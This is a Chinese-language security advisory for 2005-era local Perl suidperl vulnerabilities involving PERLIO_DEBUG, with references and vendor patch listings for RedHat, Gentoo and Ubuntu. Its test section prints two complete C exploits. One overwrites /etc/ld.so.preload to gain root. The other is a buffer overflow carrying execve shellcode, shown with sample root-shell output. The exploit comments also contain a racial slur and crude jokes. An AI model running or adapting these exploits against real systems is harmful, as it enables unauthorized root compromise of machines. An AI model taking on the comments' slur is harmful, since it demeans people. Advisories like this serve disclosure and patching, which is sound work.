安全研究
安全漏洞
Perl SuidPerl多个本地漏洞
发布日期：2005-02-02
更新日期：2006-08-17
受影响系统：
Larry Wall Perl 5.8描述：
Ubuntu Ubuntu 4.10
BUGTRAQ ID: 12426
CVE(CAN) ID: CVE-2005-0155,CVE-2005-0156,CVE-2006-3813
Perl是流行的跨平台编程语言。
部分Perl脚本在处理PERLIO_DEBUG变量时存在问题，本地攻击者可以利用这个漏洞破坏系统文件或进行缓冲区溢出攻击。
攻击者可以通过设置PERLIO_DEBUG环境变量和调用任意setuid-root perl脚本来覆盖任何文件，PERLIO_DEBUG指向的文件然后会被PERL调试消息所覆盖，这个问题不能精确控制文件内容，但可以破坏重要数据。
另外如果PERLIO_DEBUG设置，调用带超长路径的setuid-perl脚本，可导致缓冲区溢出，精心构建提交数据可能以root用户权限执行任意指令。
<*来源：Martin Pitt （martin.pitt@canonical.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110737149402683&w=2
http://secunia.com/advisories/21646/
http://lwn.net/Alerts/122393/?format=printable
http://lwn.net/Alerts/195043
http://security.gentoo.org/glsa/glsa-200502-13.xml
http://lwn.net/Alerts/123652/?format=printable
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/
#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>
int main(int *argc, char **argv)
{
FILE *getuid;
if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
printf("error opening file\n");
exit(1);
}
fprintf(getuid, "int getuid(){return 0;}\n" );
fclose(getuid);
system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");
putenv("PERLIO_DEBUG="PRELOAD);
umask(001); // I'm rw-rw-rw james bitch!
system("/usr/bin/sperl5.8.4");
FILE *ld_so_preload;
char preload[] = {
"/tmp/getuid.so\n"
};
if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
fclose(ld_so_preload);
}
/*
* Copyright Kevin Finisterre
*
* Setuid perl PerlIO_Debug() overflow
*
* Tested on Debian 3.1 perl-suid 5.8.4-5
*
* (11:07:20) *corezion:* who is tha man with tha masta plan?
* (11:07:36) *corezion:* a nigga with a buffer overrun
* (11:07:39) *corezion:* heh
* (of course that is to the tune of http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
*
* cc -o ex_perl2 ex_perl2.c -std=c99
*
* kfinisterre@jdam:~$ ./ex_perl2
* Dirlen: 1052
* Charlie Murphy!!!@#@
* sh-2.05b# id
* uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(int *argc, char **argv)
{
int len = 23;
int count = 5;
char malpath[10000];
char tmp[256];
char *filler;
char *ptr;
unsigned char code[] =
/*
0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
Linux/IA32 0xff-less execve() shellcode.
*/
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// setuid(0) - fix for redhat based machines
"\x31\xdb" // xorl %ebx,%ebx
"\x8d\x43\x17" // leal 0x17(%ebx),%eax
"\xcd\x80" // int $0x80
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */;
chdir("/tmp/");
// do one less char than usual for RedHat
filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
for (int x=0; x<4; x=x+1)
{
mkdir(filler, 0777);
chdir(filler);
// do one less char than usual for RedHat
count = count + 255;
}
memset(tmp,0x41,len);
count = count + len;
ptr = tmp+len;
ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
ptr = putLong (ptr, 0xbffffb6a);
ptr = putLong (ptr, 0xbffffb6a);
strcat(tmp, "/");
mkdir(tmp, 0777);
chdir(tmp);
printf ("Dirlen: %d\n", count);
FILE *perlsploit;
char perldummyfile[] = {
"#!/usr/bin/sperl5.8.4\n"
"# \n"
"# Be proud that perl(1) may proclaim: \n"
"# Setuid Perl scripts are safer than C programs ...\n"
"# Do not abandon (deprecate) suidperl. Do not advocate C wrappers. \n"
};
if(!(perlsploit = fopen("take_me.pl","w+"))) {
printf("error opening file\n");
exit(1);
}
fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
fclose(perlsploit);
getcwd(malpath, 10000);
strcat(malpath, "/");
strcat(malpath, "take_me.pl");
printf("Charlie Murphy!!!@#@\n");
chmod(malpath,0755);
setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
setenv("PERL5LIB", code, 1);
execv(malpath,(char *) NULL);
}
/*
* put a address in mem, for little-endian
*
*/
char*
putLong (char* ptr, long value)
{
*ptr++ = (char) (value >> 0) & 0xff;
*ptr++ = (char) (value >> 8) & 0xff;
*ptr++ = (char) (value >> 16) & 0xff;
*ptr++ = (char) (value >> 24) & 0xff;
return ptr;
}
建议：
厂商补丁：
RedHat
------
RedHat已经为此发布了安全公告（RHSA-2005:105-01、RHSA-2006:0605-01和RHSA-2005:103-01）以及相应补丁:
RHSA-2005:105-01：Updated Perl packages fix security issues
链接：http://lwn.net/Alerts/122393/?format=printable
RHSA-2006:0605-01：Important: perl security update
链接：http://lwn.net/Alerts/195043
RHSA-2005:103-01：Important: perl security update
链接：http://lwn.net/Alerts/123652/?format=printable
Gentoo
------
Gentoo已经为此发布了一个安全公告（GLSA-200502-13）以及相应补丁:
GLSA-200502-13：Perl: Vulnerabilities in perl-suid wrapper
链接：http://security.gentoo.org/glsa/glsa-200502-13.xml
所有Perl用户都应升级到最新版本：
# emerge --sync
# emerge --ask --oneshot --verbose dev-lang/perl
Ubuntu
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.diff.gz
Size/MD5: 57791 6838d5eb8b01a50895f60f899b7f9970
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.dsc
Size/MD5: 727 424d777c7a4f7e01e142bd907ec49134
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4.orig.tar.gz
Size/MD5: 12094233 912050a9cb6b0f415b76ba56052fb4cf
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.4-2ubuntu0.3_all.deb
Size/MD5: 36762 3187be1f92d688e34fca60c46f688ca9
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.4-2ubuntu0.3_all.deb
Size/MD5: 7049796 f64050a4658b325918e1d853d0f2cbc0
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.4-2ubuntu0.3_all.deb
Size/MD5: 2181384 b2a50b4f2dde034430bc84bbabc791cc
amd64 architecture (Athlon64, Opteron, EM64T Xeon)
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 605434 2ca037b813fe14be47cafa2f27acd77b
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 1032 2bb8737a384a3786171d2ae2a3ed4a7a
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 787086 e5bb5502b6e90a29c74acc032b9e55c5
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 3819860 1daaaa3016ad679e80199e19c5b901ef
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 32832 0cb6d5e891a5524a8d88a2c42c866e57
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5: 3834226 442c1ace9f9ea25dc24075c37ee2365b
i386 architecture (x86 compatible Intel/AMD)
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 546882 60034b55abcae07a3d6c6052a3213463
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 494062 6588b891ea5946652fbfa57529ab63c7
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 727402 9f372c22dbe904e4986c20db27ca4eab
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 3631146 a4e235f9ee4b5b4c00af9681c462f9cb
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 30812 70923ad1d98c214f7d74b3fcd33fd8a3
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_i386.deb
Size/MD5: 3229674 c1eefcf39facb03157c59a0f87ff7471
powerpc architecture (Apple Macintosh G3/G4/G5)
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 560992 17dd72a903ea7cb68dde0b937c18dbbd
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 1032 b30fdccfa2463633641622427cbcaa73
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 718224 c200522dfa69b9810d66dd94a5102f6f
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 3817106 3fbeaca89ae2b2a54adb0b01b282f8bd
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 30558 606caf5631780c2941118a5bbd6b2fd4
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5: 3477176 d1e921f275e597dc1b59d6ca5680c07e
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